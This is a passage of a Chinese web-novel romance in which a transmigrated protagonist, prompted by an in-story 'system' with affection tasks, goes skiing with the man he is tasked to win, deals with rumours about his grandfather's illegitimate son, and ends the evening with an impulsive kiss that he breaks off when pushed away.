秦游点点腕表:“十点多了,你回去再收拾完, 该半夜了。明天还要上班, 睡我这吧。”
严庭深也看一眼天色。
秦游随手把花带上:“走吧。”
严庭深又转向他的背影。
他的语气还是一样,没有商量的余地,也显得理所应当。
秦游已经下了车, 见严庭深没动,笑说:“发什么呆?”
严庭深于是也开门下车。
秦游和他一起进门:“还住在之前那间吧, 都是干净的。”
严庭深说:“嗯。”
两人没在楼下停留, 又一齐上了楼梯。
路过康复室, 严庭深看向门内, 不由开口:“这里, 你还留着?”
秦游也看过去:“是啊。”
严庭深转眼看他。
秦游道:“不过你的伤基本痊愈, 这里已经用不上了。”
两人话间, 到了卧室门前。
严庭深走进这道熟悉的门槛, 一眼看到床铺, 眸光微闪, 视线只一扫而过。
秦游也注意到这张床。
他的脑海里同样有过去的画面闪现。
就在那晚之后, 目标落荒而逃。
回想起来,自那天起,这还是目标第一次重新踏进这套房子。
【宿主, 这个房间有没有让你想起什么?你要不要再表白一次啊?增进一下感情。】
系统也十分激动,【而且现在这里没有人,就算宿主要亲亲摸摸,目标肯定也不会拒绝的!】
之前第一次看话剧的时候不就是吗,宿主亲了目标, 目标虽然没涨好感度,但也没降啊!
那肯定是目标还不够适应,肯定是宿主亲的还不够多,只要以后目标习惯了,再发展感情就是水到渠成嘛!
系统振奋:【宿主——】
秦游不打算听它的胡言乱语:【闭嘴。】
系统委屈:【……好的。】
秦游也没再留下。
他看向严庭深:“早点休息。”
严庭深说:“嗯。”
在秦游转身之前,他又加了一句:“你也是。”
秦游轻笑,转身出了房间。
他回到卧室洗漱休息,第二天下楼去餐室,看到目标已经坐在桌前。
窗外的阳光倾泻铺洒,浇筑在目标半身,和煦,灿金。
这一幕,时隔这么久再见,也这样熟悉。
秦游往前两步。
也许听到脚步声,严庭深抬头。
秦游看着他。
这张脸从来不算明媚,此刻坐在阳光下,也极其炽灼耀眼。
严庭深也看着秦游。
看着秦游进门,看着秦游身披阳光缓步走来——
他看向秦游的双眼:“早。”
秦游笑说:“早。”
话落,他也在桌前坐下,“昨晚睡得怎么样?”
严庭深语气不变:“很好。”
秦游接过筷子:“那就好。”
两人闲聊几句,吃完一顿早饭。
出门时,严庭深看向秦游,忽然说:“如果你不想去上班,在家里休息一段时间也好。”
秦游道:“老爷子恐怕不会同意。”
严庭深说:“以你在苍滨的经历,秦老会体谅的。”
闻言,秦游也看向他:“你不希望我去上班?”
严庭深收回视线:“这是你的意愿。我只是不希望你把自己逼得太紧。”
秦游不疑有他:“放心吧,公司的事,对我还不算负担。”
严庭深顿了顿,还是没有继续说下去:“总之,你自己万事小心。”
“我会的。”
秦游说完,又记起什么,直言问,“对了,祁海良,也是你送进去的?”
他会猜到,严庭深没有意外:“嗯。”
秦游摇了摇头:“秦氏这群见不得光的老鼠,这样下去,看样子迟早会被你清理干净。”
严庭深抿唇,看了看秦游说话时的神色:“如果你介意,我不会再插手。”
就像齐晏说的。
不论秦安栋,或是祁海良,无非就是为了争家产的自家人,他为秦游清扫这些障碍,事前也没和秦游通过气。
他不认为秦游会认可这样的“自家人”,也不认为秦游看不出这些老鼠包藏的祸心。
解决这些隐患,对秦游是百利而无一害的事。
但因此让秦游不满,并不是他的本意。
“介意?”秦游失笑,“你帮我做了这么多,背后不知道要付出多少努力,我怎么会介意,谢你还来不及。”
严庭深脊背微松。
秦游看着他:“倒是你。你在严家即使不算举步维艰,也过得很辛苦,何必再费心帮我解围,你应该明白,有老爷子在,我不会有事。”
严庭深说:“秦老只能帮你一时,你不能永远活在他的保护之下,解决根源问题,你在秦氏的路也会更顺遂。”
“秦老只能帮我一时。”
秦游唇边抿着笑意,微微倾身,凑近看他,“怎么,你能帮我一世?”
严庭深五指又紧,避开他的视线:“那要看你。”
秦游挑眉:“看我?”
严庭深往前一步:“看你,将来对我有什么用处。”
秦游笑了一声,看着他略微加快脚步走向门外的背影,含笑跟了上去:“趁我现在还有点用处,有什么吩咐,尽管提。”
严庭深没有回头:“暂时还没有。”
暂时。
秦游会意:“那我随时恭候。”
严庭深脚下微顿,再往前时,脚步一缓再缓。
几步功夫,秦游和他并肩:“你在严家,真的没有需要我帮忙的地方?”
严庭深说:“暂时还不需要。”
秦游听得出,这句暂时和刚才不同,掺着目标骨子里的绝对自信。
从目标处理几件事的游刃有余看,这的确不是客气,而是自信不需要他帮忙,足够在严家立足。
他也没再多提,只说:“那也别忘了,不论遇到什么事,随时可以来找我。”
严庭深说:“我会的。”
系统也振振有词:【就是,宿主,就算什么都不干,但谁说情绪价值不是价值!】
【……】秦游道,【闭嘴。】
系统立刻泄气:【好的……】
这时。
严庭深也说:“你也要记住,不论发生什么事,还有我帮你。”
听到这句话,秦游心念轻动。
系统又没忍住:【呜呜呜宿主,目标这么好,你说他怎么可能没有爱上你呢?我真的不信啊!】
秦游:“……”
思绪被打乱,他也只对严庭深说了一句,“我会的。”
严庭深颔首。
之后两人一起到门口,各自坐车去了公司。
一天平安无事。
到第二天,秦游进了公司,上楼走出电梯,没走几步,看到闲聊的几个员工立刻噤声,勾着头站在一旁。
“秦总。”
秦游看了几人一眼,到了办公室,打内线让崔凌进来。
“小秦总。”
秦游倚在靠背,抬眼看他:“说吧,怎么回事。”
崔凌假装没听懂:“小秦总说的是什么事?”
秦游道:“装傻?”
对上他似笑非笑的眼神,崔凌双手攥紧,站得笔直:“我……”
秦游也懒得跟他废话,直接再打内线,让彭颖进来一趟。
彭颖进门就问:“秦总,请问有什么事?”
对这位秘书,秦游的用词更直接一些:“最近公司有什么关于我的传言?”
彭颖有问必答:“没有关于秦总的传言。”
听到这句话,崔凌松了口气——
彭颖接着说:“但有关于董事长的传言,秦总要听吗?”
“……”崔凌的心提到了嗓子眼。
秦游道:“讲。”
彭颖于是开讲,直截了当:“传言说,康明康秘书,是董事长的私生子。”
“…………”崔凌看她一眼,又看秦游,僵着脸低下了头。
秦游道:“你去忙吧。”
彭颖转身就走。
秦游转向崔凌:“怎么回事?”
崔凌犹豫着说:“这些都是传言而已,你也知道,员工们闲着无聊都会——”
秦游淡淡打断他:“你只需要回答我,这件事,是真,还是假。”
崔凌攥着拳:“……我不知道。”
秦游看他的反应,已经猜出九成。
崔凌忙又说:“可是,小秦总,董事长说过,如果你问起这件事,就告诉你,不要把这些放在心上,秦氏总经理的位置,永远是你一个人的!”
秦游笑了笑。
秦恒钟会这么说,康明的身份就一定不会是秘书那么简单。
他扫过崔凌:“再有下一次,你就回董事长身边任职吧。”
崔凌低头:“……我明白了。”
系统同仇敌忾:【宿主,他竟然瞒着你这么重要的事,你干脆把他辞退算了!】
秦游道:【辞退他,你帮我打理公司?】
系统立刻转移话题:【……宿主,今天是任务的最后一天了,你再不行动,真的来不及了!】
秦游道:【不急。】
系统:【……】
它苦口婆心,【宿主,就差六点好感度而已,对你根本不在话下嘛,而且你看目标对你那么好,你就给他点面子,亲他两口嘛……】
提起目标,秦游敛眸。
昨天早上,目标曾让他这段时间别来公司。
难道,目标早听说这个私生子的传闻?
—
钧闵。
总裁办公室。
“这个叫康明的小子,资料里才二十四岁,比秦游还小呢。”
齐晏说,“真是看不出来,秦老爷子老当益壮啊。”
裴笙也在翻看资料:“事情还没盖棺定论。”
“现在就连秦氏的普通员工都知道这件事了,如果不是真的,秦老早有动作了。”
齐晏耸着肩,咬了一口苹果,“他瞒了这么多年,肯定不会主动让康明去妨碍秦游的路,可也查不出到底是哪里走漏的风声。”
裴笙说:“就算真的是秦老的私生子,只要秦老没那个意思,对小秦总的地位不会有影响。”
严庭深看着手机,久久没有开口。
秦游回国后,父亲病危,亲人只剩秦恒钟还算为他着想。
现在秦恒钟不仅曝出私生子的传闻,据他所知,还常年把这个私生子带在身边培养,感情无疑深厚。
秦游从小独自在国外成长,如果得知连唯一的亲情也被分割大半,他,会怎么想?
“应该吧。”齐晏对裴笙挑了挑眉毛,“毕竟秦老看重的是秦氏前总裁,不是那个秘书,咱们小秦总可是正儿八经的正统嫡传继承人。”
裴笙皱眉:“别开玩笑了。”
齐晏又耸了耸肩,转脸看到严庭深也没说话,想了想,找了个轻松的话题:“对了,老唐不是新弄了一个私人滑雪场吗,你去不去?”
他问的是裴笙。
没多久,却听到严庭深开口。
“帮我定个时间。”
“……”齐晏以为自己幻听了,“严总,你要去滑雪?”
严庭深说:“嗯。两个人。”
“……”齐晏明白了,“没问题,你想定几点?”
严庭深拿起手机:“等等。”
“……”齐晏又转向裴笙,“严总都去,你不去?”
裴笙看着严庭深发消息,已经起身。
“哎不是——”齐晏看看他,又看了看严庭深,“那个,严总,我就不打扰你了,等你有了结果,直接给我消息。”
严庭深说:“嗯。”
得到首肯,齐晏也转身出门,追上裴笙:“不是,你跑什么?”
裴笙说:“我没跑。”
“……行行行,你是走。”齐晏不跟他纠结这一两个字的区别,“我的话你还没回呢,滑雪,去不去啊到底?”
裴笙说:“我不会滑雪。”
齐晏随手把啃到一半的苹果扔进垃圾桶:“不会滑可以学啊,你忘了小时候多喜欢在雪上玩了?滑雪跟那个没区别。”
闻言,裴笙低下头。
齐晏直想拍自己嘴巴,忙说:“那个,我不是那个意思——”
“没事。”裴笙说,“其实你们不用避讳什么,小时候,青宁路,那些都是过去的事了,我没有那么脆弱。”
齐晏脸色复杂地看着他,直觉他的心情没有嘴上说的这么轻松。
裴笙也看出齐晏的表情,直接转移了话题:“你说起小时候的雪,我想起来了。”
他回忆着,“有一年,快过年的时候,下了好大的雪,我出门去玩,还在路上捡到一个人。”
齐晏顺势聊下去:“人?是谁?”
“我也不记得。”
裴笙摇头,“那年,我才四岁。”
“四岁?”
齐晏夸张地说,“那么久远的事,你还记得?”
“当然记得。”
裴笙说,“我记得他和我差不多大,冷得浑身直发抖,我带着他回家,给他找了我的衣服,还把我的饭菜送给他。”
齐晏说:“既然是在青宁路,应该是附近的人吧?你没找到他的家人?”
裴笙又是摇头:“我是要送他回家的,可他趁我去找人的时候,自己一个人走了。从那以后,我没再见过他。”
齐晏拍了拍他的肩膀:“算了别想了,说不定是个小乞丐,你给他吃穿,还救了他一命呢。”
裴笙没再说话。
虽然只有四岁,但他记得那时对男孩的印象。
对方在外面蹭了泥雪,身上有些脏污,衣服却没有磨损。
那不是乞丐会有的穿戴。
不过,只有一面之缘的人,深究这些,确实没有意义。
第 53 章 请宿主尝试对目标进行第……
签过最后一份文件, 秦游搁笔起身。
目标约他下午三点去滑雪。
虽然不知道一向工作狂的目标,怎么舍得在工作日的上班时间约他出去,但对方每天费心劳力, 的确需要放松。
这时, 敞开的门外传来敲门声。
是秦恒钟。
他只带了一个助理过来,身边不是康明。
看到他,崔凌适时拿起文件离开, 顺手关了房门。
秦恒钟进门,看到秦游已经穿好的外套, 问他:“有约?”
秦游道:“嗯。”
秦恒钟又说:“我不妨碍你, 只占用你一分钟, 说完就走。”
秦游也没有拐弯抹角:“康明的事?”
秦恒钟沉默两秒, 点头:“我知道, 关于康明的传言最近在公司闹得沸沸扬扬, 我来也只是想告诉你一句话。”
秦游看他一眼。
秦恒钟走近一步, 按住秦游的手臂, 盯着他的双眼说:“秦游, 不论康明是谁, 对你都不会有影响, 你是我看中的继承人,没有人,可以撼动你的地位。”
秦游看过手臂上这只牢牢握紧的手, 视线往上,也看出秦恒钟眼神里的真情实感。
他很明白,此刻秦恒钟所说的,是堪称推心置腹的承诺。
换做任何人,这无疑是一剂强心针。
即使不打算继承秦氏, 秦游也不得不承认,和原身记忆中的“祖父”相比,眼前的秦恒钟更真实,更和蔼,甚至对“秦游”有些溺爱。
这样无条件的认可,包括之前无条件的庇护——
大概这就是他上辈子从没体验过的亲情。
可惜这份亲情,也是镜花水月的泡影。
他不是秦氏集团的秦游。
他只是秦游。
“我已经安排康明暂时休假,等到风波过去,我也会让他去分公司历练——”
秦恒钟的话没说完。
“不用。”
秦游道,“康秘书跟在董事长身边这么多年,没必要因为传言就把他外放。”
秦恒钟听他这么说,却更坚决:“不。我不能再让你受到半点闪失。”
秦游感觉到手臂上的力道越收越紧。
秦恒钟接着说:“秦游,别忘了,我不只是秦氏的董事长,我还是你爷爷!”
秦游微顿。
他笑说:“我知道。”
秦恒钟打量秦游的神色,心中暗叹,松手时又轻轻拍了拍:“好了,我不打扰你了,你去吧。”
话落,目送秦游的背影出了门,他收回视线,转眼看着这间空荡荡的办公室,最后落在办公桌后的那把椅子上。
康明的事,出现得突兀。
这其中,又有几分是冲着这把椅子来的。
—
秦游下楼到了停车场,远远看到车前的严庭深,笑着迎过去。
“怎么不在里面等?”
严庭深先看到他颈间的围巾。
秦游注意到他的视线,笑说:“有了它果然不一样,我现在一点都不冷。”
闻言,严庭深移开目光,转身道:“上车吧。”
秦游于是上车。
汽车启动,他还没开口。
严庭深先说:“齐晏的朋友开了滑雪场,齐晏请我过去,我想,你应该会感兴趣。”
秦游会意:“所以,你是为了我才接受邀请?”
严庭深一顿,看向车窗外:“不是。我今天不忙,滑雪场的环境也相对私密,我和齐晏有事要谈。”
秦游也看向他的车窗,倾身从倒影里找回他的视线,挑眉笑道:“解释这么多?不像你的风格。”
严庭深不语。
秦游也没追问,只说:“不过这样也好。你付了我一笔学费,我就在这个滑雪场履行作为滑雪教练的职责吧。”
严庭深搭在膝上的手微松:“嗯。”
汽车在马路上平稳疾驰。
车厢里,两人有一搭没一搭地聊着。
到三点二十分,司机终于把车开进滑雪场入口。
秦游和严庭深一起下车。
保镖去核对预约,两人直接进了单独的休息室。
没多久,又有两个人进来。
“你们也到了?”一进门,齐晏就上上下下地看两人的装备,“哟,你们这是自己带了设备过来?看着挺不错的嘛!”
秦游正戴手套。
齐晏咳了一声,试图跟他打好关系:“秦总,听说你滑雪很厉害?”
秦游语气淡淡:“一般。”
话落,他把头盔单臂夹在腰间,对严庭深伸手,“走吧。”
严庭深也正拿着头盔,看到他的动作,脚下微顿,片刻才抬起手,缓缓握住身前的手。
秦游也是一顿。
滑雪装备比起常服相对臃肿,他原本是想帮目标拿头盔,方便目标适应。
“怎么?”
秦游看向严庭深,笑说:“没事。走吧。”
不要紧。
这样适应,也更稳妥。
严庭深颔首,和他转身出门。
门内。
齐晏目瞪口呆地看完全程,直到门关还张着嘴。
他揉了揉眼,转脸看向裴笙:“你看见没有?”
裴笙说:“没看见。”
“……”齐晏难以相信,“不是,你怎么可能没看见呢?这个房间才多大?就在眼前啊?”
裴笙说:“那你在问什么?”
“……”齐晏忍了,“我的意思是,你不觉得那一幕太可怕了吗?”
裴笙沉默着。
他也是第一次这么近距离看到两人相处的状态,也很惊讶。
可不同于齐晏的震惊,他惊讶的是,去苍滨之前,庭深对这段感情的态度更多还是回避,现在却在接受,甚至和秦游举止相投。
庭深他,已经想通了吗?
“旁观严总谈恋爱……”
齐晏说着,打了个哆嗦,“还是太不适应了……”
裴笙垂眸,没再理他,自顾自去了更衣间换上滑雪服。
出来的时候,齐晏也刚换好。
“我们也出去吧。”齐晏说,“那两位是不会等我们的,估计都走远了。”
裴笙说:“嗯。”
两人一起出了门。
还没到雪道,远远看见下坡有一群黑点在靠近。
齐晏皱眉:“那里怎么回事?”
身后滑雪场的管家忙说:“是个明星,带了拍摄团队到这边取景,唐少答应过了,只是不知道,为什么会走到这边来……”
齐晏摆手:“请走。”
管家连连应是:“我马上去沟通!”
说完,他从人群里退了出去,坐车去了山下。
找到人时,他发现对方正在休息,整个团队都看着雪道上的两道身影。
“我打赌,这俩是一对!”
“这看着不是两个男的吗?”
“男的就不能是一对了?”
“是啊,哪有好兄弟抱在一起滑雪?”
管家听得冷汗直流,直接找到负责人,把人请离。
见负责人态度恳切地说需要时间收拾东西,他皱了皱眉,也没说什么,只要求他们禁止拍摄滑雪场内的客人。
负责人满口答应,又转身吆喝着所有人收拾器材。
看到一个摄影师还拿着相机拍雪道,她没好气地说:“吉姆,你没听到人家的话吗?禁止拍客人!”
吉姆忙把相机收起来,陪着笑脸说:“姐,别生气,我这就去收拾。”
等对方回过身,他又找了个隐蔽的树后,打开长焦镜头盖,悄悄继续拍摄素材。
现成的流量,不吃白不吃。
他的账号现在越来越糊了,必须来个转机,否则以后就是喝西北风的命。
普通情侣滑雪没看头,但两个男的搂在一起,营销一下不就是爆点了吗?
私人滑雪场。
两个男性富二代。
这内容能不爆吗?
说什么隐私。
这两个人以后说不定还要感谢他帮他们火了一把呢!
—
“要不要休息?”
听到秦游的声音,严庭深颔首:“可以。”
秦游握紧他的手,正要动作,转眼看到雪道右侧的人影,皱了皱眉。
严庭深已经把重心转移到他身上,见他还没停下,不由抬眼看他。
秦游也已经收回视线。
然而下一刻,一道拉长的欢呼疾速由远及近,从上坡风驰电掣而下。
“小心点,我来啦!”
秦游回头看了一眼,当即把严庭深压进怀里。
随即见齐晏滑得很好,大概只是故意作秀。
他又扶在严庭深腰间,但还没把人扶正,不巧严庭深正下意识往前,一时有些不稳。
好在有前车之鉴,他这次一路靠边教学。
身旁就是雪堆,秦游索性搂着人直接倒了下去。
松软的雪堆立刻把两人掩埋。
熟悉的一幕,却让严庭深瞳孔缩紧。
他握住秦游的手,又往上按在秦游肩膀:“秦游,你怎么样?”
这次没在雪道翻滚,又有雪层卸力,没有半点伤害。
秦游听到传到耳边的担忧,笑着松开按在严庭深腰后的手,也落进雪里。
严庭深条件反射似的抓住他的手,语气不觉添进几分焦灼:“秦游?”
秦游才记起。
有护目镜和面罩遮挡,严庭深看不到他的脸,只能从声音分辨。
只这一转念。
严庭深已经按在他的头盔:“秦游!”
“我没事。”
秦游抬手按在严庭深手背,先让人安心,“我没受伤。”
他知道,自从苍滨那次意外,目标对他的安全看得很重,比秦恒钟更甚。
严庭深脊背松缓,语气微沉:“刚才为什么不回我的话?”
秦游虚心受教:“是我不好。下次改正。”
话落,他重揽在严庭深腰后,扶着人半坐起身,虚倚在雪层,掀了头盔,摘了护目镜,再拉下面罩——
严庭深借力单膝点地,半坐在他膝上,起身时看到他的动作,又停在原地,看向他噙笑的脸。
这张脸,轻易取代脑海里闭目昏睡的画面,就在眼前。
秦游任他看清,笑着对他说:“别担心,我很好。”
严庭深也摘了头盔,摘了护目镜。
他仔细看过秦游的脸色,拂去秦游脸上的星点雪痕:“真的没事?”
秦游轻笑,揽着他的腰,抬腿掂了掂他的重量:“至少,抱一个你,不成问题。”
严庭深薄唇微抿。
他从秦游腿上继续起身,再把人拉起来,才面色不改,视线往周围扫过。
早已经滑回来的齐晏停在不远处,对上他的眼睛,护目镜下的眼皮抽跳两下。
开个玩笑而已……
应该不会被报复吧?
虽然严总一直没有幽默细胞,但刚才抱着对象不松手,可见这也是加深感情的方式啊……
“继续?”
严庭深收回视线,看向秦游:“嗯。”
暴|君的注意力转移,齐晏立刻溜之大吉,再也没靠近。
直到天色擦黑,秦游也和严庭深回到休息室。
刚到换衣间,系统哭出声来:【呜呜呜宿主,任务真的失败了,三点能量值,就这么没了啊……】
任务面板上,紧急预案任务已经显示失败。
就在下一秒。
新任务的提示音响起。
【剧情节点触发。】
【好感度达到标准,请宿主尝试对目标进行第一次强取豪夺。】
第 54 章 酒精发酵的思想,悄然酝……
强取豪夺?
秦游还没看任务详情, 系统的声音已经冲进脑海。
【什么?!】系统倒吸一口凉气,【竟然是这种任务,怪不得要宿主你提升好感, 加深感情呢!】
它点进详情页, 开始为宿主分析,【宿主你看,任务倒计时是在明天, 给你一天的时间准备,要求以强制行为做出占有目标的举动, 行为包括但不限于, 强制、禁锢、威胁、暴力等……太过分了, 这任务要是做完了, 好感度直线下降啊!】
秦游也微微皱眉。
【这里还注明, 这个占有目标的举动只能失败, 不能成功。】
系统又补充, 【也就是说, 宿主, 你明天要对目标性侵未遂。】
秦游:“……”
宿主的沉默让系统从发愁到慌乱:【宿主, 这个任务之后就是重要剧情节点了, 目标到现在都还没爱上你,要是被你侵犯,任务好感降到百分之三十以下, 那可怎么办啊?】
秦游道:【那就不做这个任务。】
系统犹犹豫豫:【可是,这个任务完不成,不仅没有收益,还会扣光最后一点能量值,那重要剧情节点就一点容错率都没有了……】
秦游道:【之后的事, 之后再说。】
看来所谓的重要剧情,就是任务的转折点。
如果任务顺利,在这个转折点到来之前,他和目标应该处于任务最佳预期中的恋爱状态。
但他和目标“相爱”只是过渡,不能发展出真正的结果,所以先通过“强取豪夺”,让目标逐渐对他厌恶。
之后的任务内容,大概会是他逐渐暴露“本性”的过程。
那些不难做到。
不过,既然他和目标现在没有“相爱”,却也让任务如期进展,说明爱情并不是唯一解。
他不打算按既定章程,和目标从相近相知,到两看生厌。
他会找出一个办法。
任务可以圆满完成。
这段友情也可以得到延续。
秦游换回衣服,从更衣室出来。
他等到目标,没在意其余两个无关紧要的人:“走吧。”
严庭深说:“嗯。”
上车后,他依旧是送秦游到泽水湾。
车停时,秦游道:“一起吃个晚饭?”
严庭深没有拒绝:“好。”
管家早和司机联系过。
两人进门时,晚餐已经准备好。
秦游陪严庭深吃过晚饭,看了严庭深一眼,让管家把房间收拾好。
管家说:“房间一直是收拾好的。”
闻言,严庭深没说什么,也看了秦游一眼,出来后不是出门,转而上了楼。
第二天一早。
两人早饭后依旧是各自准备出发。
临走之前,秦游问严庭深:“今天几点有空?”
严庭深说:“最早下午三点。”
“那就下午三点。我去接你。”
秦游笑说,“为了对得起你的学费,我要教到你学会滑雪为止。”
严庭深顿了顿。
他依旧是没有拒绝:“好。”
之后在门口分别,秦游上车去了公司。
照例摸鱼一天,下午三点,他准时到了钧闵停车场。
接到人,汽车再转向滑雪场。
今天不再有人打扰,两人安静练习将近两小时。
见目标已经可以独自滑行,最后一次练习,秦游特意拿出手机,陪在他身边,从山顶一路向下记录。
“看镜头。”
严庭深转眼看他。
透过护目镜,透过镜头,似乎看到那双笑眼,他不由又收回视线:“别拍了,不安全。”
下一秒,秦游果然含笑的声音从镜头后传来:“放心,你的速度还威胁不到我的安全。”
话落,秦游带着手机越过他,面向他拍摄一段路程,期间讲解他过程中遇到的问题,夹杂着几句认可。
“太棒了!”
“滑得特别好。”
“一点就通,太聪明了——”
严庭深忽然在路边停下。
秦游到他身侧:“累了?”
严庭深扫过他手里的手机:“不用对我说那些。”
“哪些?”秦游回想两秒,笑说,“夸你也不行?”
严庭深抬眼看他:“我不是小朋友。”
“好好好,你是大朋友,你不用夸也学得很快。”
秦游满口答应,看了看天色,“累了就在这休息一会,时间不早了,我们该回去了。”
严庭深蹙眉,又抬手按住他的镜头:“你不要敷衍我。”
闻言,秦游收回视线:“我没有敷衍你。”
见严庭深沉默不言,他略有无奈,又说,“以后我注意,绝不用对小朋友的方式夸你,用成年人的方式,好吗?”
严庭深又是片刻沉默:“我不是这个意思。”
“那是什么意思?”
秦游道,“说吧,还有哪里需要改正,我洗耳恭听。”
严庭深久久不语。
随后拨开他的手机:“算了。随你。”
秦游笑了笑:“什么叫随我?”
严庭深却已经继续往前:“就是随便你的意思。”
秦游只好再陪他练习结束,才最后把镜头对准他的正面。
“今天的教学到此结束,这位学员,发表一下感想。”
严庭深说:“除了教练行为幼稚,其余还算不错。”
秦游失笑:“教练行为幼稚?你确定?”
严庭深说:“嗯。”
秦游又问:“那么,我帮你换一位教练?”
严庭深微顿。
他转身走向缆车:“不用。”
秦游看着他的背影,笑意不减:“下次再污蔑教练,我可要罢工了。”
严庭深似乎没听见,只说:“不早了,该回去了。”
秦游也上了缆车。
他摘了手套,把视频发给严庭深,才说:“你已经学得差不多了,回去看看,有点帮助。”
严庭深说:“嗯。”
两人聊着,回到休息室,换完衣服,又一起上了车。
秦游把严庭深送到家,又送进客厅,正转身,突然听到严庭深开口。
“你,吃过饭再走吧。”
秦游回眼。
严庭深移开视线,把外套递给管家:“这么晚了,你回去还要半个小时。”
秦游笑说:“好。”
系统忍了一天,还是忍不住了:【宿主,任务时间还差四十分钟就到了,你就试试吧,你看目标还留你吃饭,这就是天意啊!】
秦游道:【你是想让我在他家里强迫他?】
【……】系统说,【……那至少也得亲亲摸摸吧?让目标对宿主的感情改观,还不用担心好感度的问题,上次宿主中了药,对着目标又摸又亲,目标一开始也没掉好感呢!】
秦游没理它,和目标一起去了餐室。
但进门后,看到桌上的摆设,他脚下停了一步。
严庭深也是一顿,看向管家。
管家低着头,深藏功与名:“两位请慢用。”
【烛光晚餐!】
系统激动了,【宿主,你看!我就说目标对你有意思!】
严庭深说:“把这些撤下去。”
管家张了张嘴。
他不明白,这位客人每次送的花,都被雇主珍藏在床头,甚至即将凋谢的都会被制作成干花,放在书房;而且每次客人离开,雇主都在阳台目送。
怎么看,两人的关系都怎么不一般,烛光晚餐的氛围正合适啊……
可雇主的命令,他不敢反驳:“好的。”
桌上的烛光玫瑰很快清扫一空。
系统:【……】
秦游和严庭深已经坐下。
管家准备的是西餐,开了红酒配餐。
考虑到这具身体酒量不佳,秦游没打算多喝,只是一杯酒似乎总也喝不尽,接着饭后和目标聊起正事,又多喝了一杯。
严庭深说过苍滨的进展,想了想,又道:“你之前提的孟云哲,我已经让齐晏去调查,再过几天会有消息。”
秦游不由看向他。
严庭深说:“怎么这样看我?”
秦游笑了笑,放下酒杯:“没想到,你会把我随口说的话这么放在心上。”
除此之外。
以他了解的目标,行动总是多过言辞,没有后续、缺少线索的事,目标基本不会说出口。
现在会向他聊起这种话题,是单纯的酒后言多有失,还是,真的在渐渐向他付出信任。
严庭深说:“你是为我考虑,我怎么会不放在心上。”
秦游深深看他。
只一个对视,桌边的半空酒杯又被管家发现。
管家正要上前倒酒,秦游这才看到他手里的酒瓶只剩小半,对他摆手示意。
管家立刻退回去,见两人起身,才说:“房间都已经收拾好了,请问两位现在需要休息吗?”
严庭深又看他一眼。
管家低头不语。
严庭深转向秦游:“你今天喝了酒,在这过一夜吧。”
秦游笑说:“好。”
目标在泽水湾不知过了多少夜,他在这住一晚,也算有来有往。
两人聊着,一路上了楼。
管家识趣地没再跟上来。
路过主卧,碍于隐私,秦游原本没打算进去。
但严庭深冷不丁开口:“时间还早,你,要不要进来坐坐?”
秦游转眼看他。
严庭深的视线移向门内:“我是说书房。苍滨那边的资料,你要看吗?”
时间确实还早。
秦游说:“那就看看吧。”
两人一起转身,进门时,秦游不经意看到床头柜上的花瓶,忽地住脚。
下一刻,肩膀撞在肩膀。
被撞了一步,秦游回眼看向严庭深时,唇边却有笑意。
严庭深也注意到他刚才的视线,五指微紧,随他停在门边,转而道:“花香消疲解乏——”
俨然窄小的门框,挤着两个成年男人的身量。
秦游看着严庭深,看他不变的神色,看他游转的眼神,看他启合的薄唇——
系统心急如焚,又不敢催,只敢旁敲侧击:【宿主,就差五分钟了,你不强取豪夺,为了任务,亲他几下也行啊!】
是啊,为了任务。
酒精发酵的思想,悄然酝酿。
秦游面上的笑意渐渐转淡,只沉沉注视着面前的双眼。
严庭深不知何时止住话音:“秦游——”
话没落尽。
秦游抬手握在严庭深颈侧,缓身转向他,再看他一眼,才往前一步,把人压在门框,倾身吻在他的唇上。
严庭深盯着他,瞳孔猛地缩紧。
第 55 章 【重要剧情节点已解锁。……
含着酒气的湿热呼吸在紧贴变形的唇瓣辗转, 周围的空气仿佛转瞬升温。
严庭深僵在原地良久,感觉颈侧的手正插进头发,扣住肩臂的手正往下滑动——
他终于回过神来, 抬手推按在秦游胸前:“秦、秦游!”
秦游一顿。
耳边的声音, 和怀中人的挣扎,让他顷刻清醒。
严庭深察觉他的停顿,心弦也在绷紧, 按在他胸前的手微紧微重,语气却在转轻:“秦游?”
秦游握住严庭深的手, 带到肩上, 借对方被迫拥抱的的动作, 再往前一步。
唇齿分离。
秦游抵在严庭深额前, 微拉开距离, 看到严庭深起伏不定的胸膛, 又看他泛起血色的嘴唇, 和他对视一眼, 才扣紧他的后颈, 把这双难得流露情绪的眼神压进颈间。
视线阻断。
除了两道同样微乱节奏的心跳, 耳边没有任何声响。
严庭深被动揽在秦游肩颈的手臂稍稍收紧。
侧脸有秦游仍然滚烫的呼吸拂过。
停在腰后的手纹丝不动, 像一道枷锁。
受制于人,眼前陡然昏暗。
被这样困在秦游怀里,更灼热的气息钻进衣领, 严庭深背靠门框,脊背更僵。
“你——”
秦游闭着眼,扣在他脑后的手轻按了按:“别动。”
严庭深沉默着。
不多时。
秦游松手,往后退了一步:“抱歉,我——”
“你喝多了。”
严庭深蓦地打断他。
说得很果断, 似乎是在心头徘徊已久的说辞,说完就转身从他和门框之间走了出去。
“你回去休息吧。”
秦游看着严庭深的背影,没出口的话也到此为止,顿了顿,只道:“好。”
话落,刚出门。
“咔哒。”
秦游脚下顿住,回眼看向这扇立刻紧闭的房门,意外之余,唇边不觉牵起笑意。
这么如临大敌,是在防备他吗?
还是太心软。
这是目标自己的家,如果有必要,把他赶出去就是了。
系统却在着急:【宿主,怎么目标让你走你就走呢!他好感度没掉,他在假装生气,肯定是害羞了,欲擒故纵而已,你快去多亲几口,他的感情说不定就走上正轨了!】
秦游道:【现在进不去。】
【……】系统悲伤哭泣,【呜呜呜刚才目标都没怎么挣扎,任务肯定能做的,这么好的机会,现在全没了呜呜呜……】
秦游道:【行了。】
系统委屈闭嘴。
秦游又看了房门一眼。
他知道目标也许已经走开,也知道这扇门的隔音应该很好。
临走之前,他还是说了一句:“晚安。”
之后没走两步,秦游听到门内传来一声回应。
隔着门板,那道一贯淡漠冷峻的声音,听起来略显沉闷,但很清晰。
“晚安。”
秦游顿步轻笑,才继续离开。
回房没多久,佣人送来一碗醒酒汤。
秦游喝完正要去洗漱,系统提示音响起。
【初始剧情完成,奖励开始结算。】
【宿主触发剧情节点共六项,完成五项,失败一项,完成率超过百分之八十,获得额外奖励——空间能量增加两单位。】
【宿主触发紧急预案任务共两项,完成零项,失败两项,完成率低于百分之二十,获得额外惩罚——空间能量扣除两单位。】
【宿主触发随机好感度任务共两项,完成零项,失败两项,完成率低于百分之二十,无法获得额外奖励。该任务无惩罚。】
【目前宿主空间能量余额为,零单位。】
